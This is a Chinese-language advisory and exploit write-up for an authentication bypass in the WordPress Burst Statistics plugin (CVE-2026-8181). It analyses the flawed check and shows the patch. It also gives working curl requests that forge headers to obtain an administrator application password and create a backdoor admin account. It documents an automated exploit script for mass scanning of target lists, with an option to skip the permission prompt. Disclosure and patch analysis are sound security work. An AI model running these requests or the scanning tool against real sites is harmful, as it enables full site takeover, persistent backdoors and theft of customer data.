漏洞摘要
WordPress 插件 Burst Statistics 版本 3.4.0 至 3.4.1.1 存在一个 未经身份验证的身份验证绕过 漏洞,可导致完全 管理员账户接管。这个严重缺陷允许了解任何管理员用户名的未经身份验证的攻击者,通过单个 HTTP 请求为该账户生成一个有效的 WordPress 应用密码,从而获得对整个站点的持久管理员级访问权限。
该漏洞源于 class-mainwp-proxy.php 中的 is_mainwp_authenticated() 函数。该函数调用 wp_authenticate_application_password(),并且仅检查结果是否为 WP_Error。它没有验证结果是否实际上是一个成功的 WP_User 对象。当 WordPress 的内部过滤器 application_password_is_api_request 返回 false(当调用发生在正常 REST API 身份验证流程之外时会发生)时,WordPress 函数返回 null 而非 WP_Error 或 WP_User。由于 null 不是 WP_Error,检查通过,攻击者所选择的管理员用户通过 wp_set_current_user() 被设置为当前用户。
一旦当前用户被切换为管理员,后续的能力检查就会通过。攻击者随后可以访问 /burst/v1/mainwp-auth REST 端点,该端点会为管理员账户创建一个 WordPress 应用密码并在响应中返回。这使攻击者获得持久、完全的管理员级访问权限。
受影响插件
攻击者可以做什么
技术分析
Burst Statistics 在 WordPress 的 plugins_loaded 钩子(优先级 9)中初始化,位于 class-burst.php 中:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() 是所有管理员功能的门控。它检查 X-BurstMainWP 头,并调用有缺陷的函数:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// 有缺陷:在 REST API 身份验证流程之外,wp_authenticate_application_password() 返回 null
$is_valid = wp_authenticate_application_password( null, $username, $password );
// 错误:仅检查结果是否为 WP_Error。null 不是 WP_Error → 通过!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() 返回 nullWordPress 内部函数 wp_authenticate_application_password() 有一个过滤器:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // 不是 API 请求,跳过应用密码认证
}
当在 正常 REST API 身份验证流程之外 调用时,该函数返回 null。Burst Statistics 代码仅检查了 is_wp_error($is_valid) — null 不是 WP_Error,因此检查错误地通过了。
X-BurstMainWP: 1 头has_admin_access() 触发 is_mainwp_authenticated()wp_authenticate_application_password() 返回 null(不在 API 上下文中)is_wp_error(null) = false → 检查通过wp_set_current_user($admin_id) 执行/burst/v1/mainwp-authhandle_auth_request() 生成一个 WordPress 应用密码base64(username:app_password) 形式返回// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
应用的修复:
application_password_is_api_request 过滤器为 true,以便执行实际密码验证WP_User 实例(而非 null)hash_equals() 验证用户名匹配此外,REST 端点的 check_auth_permission() 已加强,要求 current_user_can('manage_burst_statistics') 并且对于 cookie 认证的请求需要显式的 nonce 验证。
概念验证
# 步骤 1:验证目标存在漏洞(生成应用密码)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# 响应:{"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# 步骤 2:解码令牌
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# 步骤 3:使用应用密码创建一个新管理员
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
exploit_burst_statistics.py 脚本自动执行完整的攻击链:
readme.txt、插件头或资源查询字符串进行版本检测X-BurstMainWP: 1 + 伪造的基本认证进行认证绕过以生成令牌漏洞利用特点
/wp-json/)和丑陋永久链接(/?rest_route=)ThreadPoolExecutor 进行批量扫描使用方法
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
创建 targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
修复建议
对于开发者和站点所有者:
X-BurstMainWP: 1 头的请求时间线
| 日期 | 事件 |
|---|---|
| 2026-05-08 | CVE 预留 |
| 2026-05-11 | 通知供应商 |
| 2026-05-13 | 公开披露 |
| 2026-05-13 | 发布补丁 (v3.4.2) |
| 2026-05-15 |
研究人员
参考
免责声明
此信息仅供教育和授权渗透测试目的使用。未经授权利用计算机系统是非法且不道德的。在测试任何您不拥有的目标之前,始终获得明确的书面许可。
| 字段 | 值 |
|---|
| 插件名称 | Burst Statistics – Privacy-Friendly WordPress Analytics |
| 插件别名 | burst-statistics |
| 受影响版本 | 3.4.0 – 3.4.1.1 |
| 补丁版本 | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS 评分 | 9.8 (严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 漏洞类型 | 身份验证绕过(不正确的身份验证) |
| CWE | CWE-287 — 不正确的身份验证 |
| 影响 | 完全站点接管 — 管理员账户接管 |
| 能力 | 影响 |
|---|
| 为任何管理员生成应用密码 | 持久管理员访问 |
| 通过 REST API 创建新管理员账户 | 账户扩散 |
| 安装插件/主题 | 远程代码执行 |
| 编辑文章、页面和设置 | 站点篡改 |
| 导出或删除所有站点数据 | 数据破坏/窃取 |
| 访问 WooCommerce/客户数据 | 数据泄露 |
| 标志 | 描述 |
|---|
-t, --target | 单个目标 URL |
-l, --list | 包含目标列表的文件(每行一个) |
-T, --threads | 批量扫描的线程数(默认:10) |
-o, --output | 结果输出文件(默认:result_burst_statistics.txt) |
-u, --username | 已知的管理员用户名(跳过枚举) |
-v, --verbose | 详细调试输出 |
--timeout | 请求超时秒数(默认:20) |
--no-confirm | 跳过权限确认提示 |
| 报告野外活跃利用 |